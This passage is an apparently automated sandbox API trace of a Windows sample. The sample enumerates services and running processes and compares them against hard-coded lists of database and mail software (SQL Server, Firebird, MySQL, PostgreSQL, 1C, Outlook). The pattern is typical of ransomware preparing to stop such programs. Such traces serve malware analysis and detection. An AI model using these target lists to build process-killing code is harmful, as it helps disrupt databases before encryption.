	[0089.301] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0089.301] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0089.301] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0089.301] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0089.301] lstrlenW (lpString="Netman") returned 6
	[0089.301] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1
	[0089.301] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1
	[0089.302] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1
	[0089.302] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1
	[0089.302] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1
	[0089.302] lstrlenW (lpString="netprofm") returned 8
	[0089.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0089.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0089.302] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0089.302] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0089.302] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0089.302] lstrlenW (lpString="NlaSvc") returned 6
	[0089.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0089.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0089.302] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0089.314] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0089.314] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0089.315] lstrlenW (lpString="nsi") returned 3
	[0089.315] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0089.315] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0089.315] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0089.315] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0089.315] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0089.315] lstrlenW (lpString="PcaSvc") returned 6
	[0089.315] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0089.315] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0089.315] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0089.315] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0089.315] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0089.316] lstrlenW (lpString="PlugPlay") returned 8
	[0089.316] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0089.316] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0089.316] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0089.316] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0089.316] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0089.316] lstrlenW (lpString="Power") returned 5
	[0089.316] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0089.316] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0089.316] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0089.316] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0089.316] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0089.316] lstrlenW (lpString="ProfSvc") returned 7
	[0089.316] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0089.316] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0089.316] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0089.316] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0089.316] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0089.316] lstrlenW (lpString="RpcEptMapper") returned 12
	[0089.316] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0089.316] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0089.316] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0089.316] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0089.316] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0089.316] lstrlenW (lpString="RpcSs") returned 5
	[0089.316] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0089.316] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0089.316] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0089.317] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0089.317] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0089.317] lstrlenW (lpString="SamSs") returned 5
	[0089.317] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0089.317] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0089.317] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0089.317] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0089.317] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0089.317] lstrlenW (lpString="Schedule") returned 8
	[0089.317] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0089.317] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0089.317] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0089.317] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0089.317] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0089.317] lstrlenW (lpString="SENS") returned 4
	[0089.317] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0089.317] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0089.317] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0089.317] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0089.317] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0089.317] lstrlenW (lpString="ShellHWDetection") returned 16
	[0089.317] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0089.317] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0089.317] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0089.317] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0089.317] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0089.317] lstrlenW (lpString="Spooler") returned 7
	[0089.317] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0089.317] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0089.318] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0089.318] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0089.318] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0089.318] lstrlenW (lpString="SysMain") returned 7
	[0089.318] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0089.318] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0089.318] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0089.318] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0089.318] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0089.318] lstrlenW (lpString="Themes") returned 6
	[0089.318] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0089.318] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0089.318] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0089.318] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0089.318] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0089.318] lstrlenW (lpString="TrkWks") returned 6
	[0089.318] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1
	[0089.318] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1
	[0089.318] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1
	[0089.318] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1
	[0089.318] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1
	[0089.318] lstrlenW (lpString="UxSms") returned 5
	[0089.318] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1
	[0089.318] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1
	[0089.318] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1
	[0089.318] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1
	[0089.318] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1
	[0089.318] lstrlenW (lpString="WdiServiceHost") returned 14
	[0089.319] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0089.319] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0089.319] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1
	[0089.319] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1
	[0089.319] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1
	[0089.319] lstrlenW (lpString="WdiSystemHost") returned 13
	[0089.319] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1
	[0089.319] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1
	[0089.319] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1
	[0089.319] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1
	[0089.319] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1
	[0089.319] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19
	[0089.319] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1
	[0089.319] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1
	[0089.319] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1
	[0089.319] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1
	[0089.319] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1
	[0089.319] lstrlenW (lpString="Winmgmt") returned 7
	[0089.319] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1
	[0089.319] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1
	[0089.319] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1
	[0089.319] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1
	[0089.319] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1
	[0089.319] lstrlenW (lpString="WPDBusEnum") returned 10
	[0089.319] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1
	[0089.319] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1
	[0089.319] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1
	[0089.320] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1
	[0089.320] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1
	[0089.320] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x3ec06d8 | out: hHeap=0x4a0000) returned 1
	[0089.320] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x180
	[0089.323] Process32FirstW (in: hSnapshot=0x180, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0089.323] Process32NextW (in: hSnapshot=0x180, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0089.324] lstrlenW (lpString="System") returned 6
	[0089.324] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1
	[0089.324] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1
	[0089.325] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1
	[0089.325] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1
	[0089.325] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1
	[0089.325] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1
	[0089.325] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1
	[0089.325] Process32NextW (in: hSnapshot=0x180, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0089.326] lstrlenW (lpString="smss.exe") returned 8
	[0089.326] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1
	[0089.326] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1
	[0089.326] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1
	[0089.326] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1
	[0089.326] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1
	[0089.326] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1
	[0089.326] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1
	[0089.326] Process32NextW (in: hSnapshot=0x180, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0089.342] lstrlenW (lpString="csrss.exe") returned 9
	[0089.342] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0089.342] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0089.342] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0089.342] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0089.342] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0089.342] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0089.342] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0089.342] Process32NextW (in: hSnapshot=0x180, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0089.343] lstrlenW (lpString="wininit.exe") returned 11
	[0089.343] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1
	[0089.343] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1
	[0089.343] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1
	[0089.343] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1
	[0089.343] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1
	[0089.343] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1
	[0089.343] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1
	[0089.343] Process32NextW (in: hSnapshot=0x180, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0089.344] lstrlenW (lpString="csrss.exe") returned 9
	[0089.344] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0089.344] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0089.344] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0089.344] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0089.344] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0089.345] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0089.345] Process32NextW (in: hSnapshot=0x180, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0089.345] lstrlenW (lpString="winlogon.exe") returned 12
	[0089.346] Process32NextW (in: hSnapshot=0x180, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0089.346] lstrlenW (lpString="services.exe") returned 12
	[0089.346] Process32NextW (in: hSnapshot=0x180, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0089.347] lstrlenW (lpString="lsass.exe") returned 9
	[0089.347] Process32NextW (in: hSnapshot=0x180, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0089.348] lstrlenW (lpString="lsm.exe") returned 7
	[0089.348] Process32NextW (in: hSnapshot=0x180, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0089.349] lstrlenW (lpString="svchost.exe") returned 11
	[0089.349] Process32NextW (in: hSnapshot=0x180, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0089.350] lstrlenW (lpString="svchost.exe") returned 11
	[0089.350] Process32NextW (in: hSnapshot=0x180, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0089.351] lstrlenW (lpString="svchost.exe") returned 11
	[0089.351] Process32NextW (in: hSnapshot=0x180, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0089.352] lstrlenW (lpString="svchost.exe") returned 11
	[0089.352] Process32NextW (in: hSnapshot=0x180, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0089.794] lstrlenW (lpString="svchost.exe") returned 11
	[0089.794] Process32NextW (in: hSnapshot=0x180, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0089.795] lstrlenW (lpString="audiodg.exe") returned 11
	[0089.795] Process32NextW (in: hSnapshot=0x180, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0089.796] lstrlenW (lpString="svchost.exe") returned 11
	[0089.796] Process32NextW (in: hSnapshot=0x180, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0089.797] lstrlenW (lpString="svchost.exe") returned 11
	[0089.797] Process32NextW (in: hSnapshot=0x180, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0089.798] lstrlenW (lpString="dwm.exe") returned 7
	[0089.798] Process32NextW (in: hSnapshot=0x180, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0089.799] lstrlenW (lpString="explorer.exe") returned 12
	[0089.799] Process32NextW (in: hSnapshot=0x180, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0089.800] lstrlenW (lpString="spoolsv.exe") returned 11
	[0089.800] Process32NextW (in: hSnapshot=0x180, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0089.801] lstrlenW (lpString="taskhost.exe") returned 12
	[0089.801] Process32NextW (in: hSnapshot=0x180, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0089.802] lstrlenW (lpString="svchost.exe") returned 11
	[0089.802] Process32NextW (in: hSnapshot=0x180, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1
	[0089.803] lstrlenW (lpString="taskeng.exe") returned 11
	[0089.803] Process32NextW (in: hSnapshot=0x180, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0089.803] lstrlenW (lpString="taskhost.exe") returned 12
	[0089.804] Process32NextW (in: hSnapshot=0x180, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="similarlyvaultsquirting.exe")) returned 1
	[0089.804] lstrlenW (lpString="similarlyvaultsquirting.exe") returned 27
	[0089.804] Process32NextW (in: hSnapshot=0x180, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="wisdom-restaurant.exe")) returned 1
	[0089.805] lstrlenW (lpString="wisdom-restaurant.exe") returned 21
	[0089.805] Process32NextW (in: hSnapshot=0x180, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="zoo.exe")) returned 1
	[0089.812] lstrlenW (lpString="zoo.exe") returned 7
	[0089.812] Process32NextW (in: hSnapshot=0x180, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="formula-graduates.exe")) returned 1
	[0089.813] lstrlenW (lpString="formula-graduates.exe") returned 21
	[0089.813] Process32NextW (in: hSnapshot=0x180, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="determined.exe")) returned 1
	[0089.813] lstrlenW (lpString="determined.exe") returned 14
	[0089.814] Process32NextW (in: hSnapshot=0x180, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="expressreflectmovement.exe")) returned 1
	[0089.814] lstrlenW (lpString="expressreflectmovement.exe") returned 26
